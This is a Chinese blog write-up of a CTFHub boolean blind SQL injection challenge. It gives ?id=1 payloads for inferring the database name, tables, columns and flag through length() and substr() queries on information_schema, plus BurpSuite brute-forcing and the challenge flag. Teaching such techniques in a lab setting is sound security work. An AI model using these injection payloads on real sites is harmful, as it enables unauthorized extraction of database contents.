2、布尔盲注

布尔盲注

以 CTFHUB 的布尔盲注题为例。

需要软件:浏览器、BurpSuite(半自动化/自动化)、Excel(辅助)

1、求数据库名的长度

/?id=1 and length(database())=4
  • 其中后面的长度需要猜,当然你可以用最有效率的查找方式——二分法。

2、根据长度求库名

?id=1 and substr(database(), 1, 4)='sqli'

知识点以及补充知识:

  • substr(s, start, length) :从字符串 s 的 start 位置截取长度为 length 的子字符串。
  • left(s, n) :返回字符串 s 的前 n 个字符。
  • **mid(s, n, len) **:用法与 substr()一样。

更多关于字符串函数的 API:MySQL 函数 | 菜鸟教程 (runoob.com)

手动步骤:

?id=1 and substr(database(), 1, 1)='s'
?id=1 and substr(database(), 1, 2)='sq'
?id=1 and substr(database(), 1, 3)='sql'
?id=1 and substr(database(), 1, 4)='sqli'

当然你可以半手动的使用 burpsuite 进行爆破库名。

3、当前数据库中表数量

?id=1 and (select COUNT(*) from information_schema.tables where table_schema="sqli")=2

4、求表名长度

表 1

?id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=4

表 2

id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=4

5、爆破表名

我们可以先去猜个表名,比如 flag。

id=1 and (select table_name from information_schema.tables where table_schema=database() limit 0,1)="flag"

如果猜不到,可以使用爆破数据库名的方法(substr,mid、left)。

6、当前表中列数量

?id=1 and (select COUNT(*) from information_schema.columns where table_name='flag')=1

7、求列长度

?id=1 and (select length(column_name) from information_schema.columns where table_name='flag')=4

8、爆破列名

列表为 4,我们依然可以猜列名为 flag,如果不猜的话一样的使用爆破数据库名的方法了。

?id=1 and (select column_name from information_schema.columns where table_name='flag')='flag'

9、爆破数据(flag)

1、数据长度

?id=1 and (select length(flag) from sqli.flag)=32

2、爆破数据(手动麻烦)

总体的结构:

?id=1 and substr((select flag from sqli.flag), 1, 1)="c"

10、BurpSuite 解决方案

11、Excel 进行辅助

选中需要整理的数据,复制(Ctrl+S),打开 Excel,复制到里面,进行对第二列进行排序,就可以得到 flag 了。

ctfhub{93e0c3a4ff9736fcd25b8e53}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值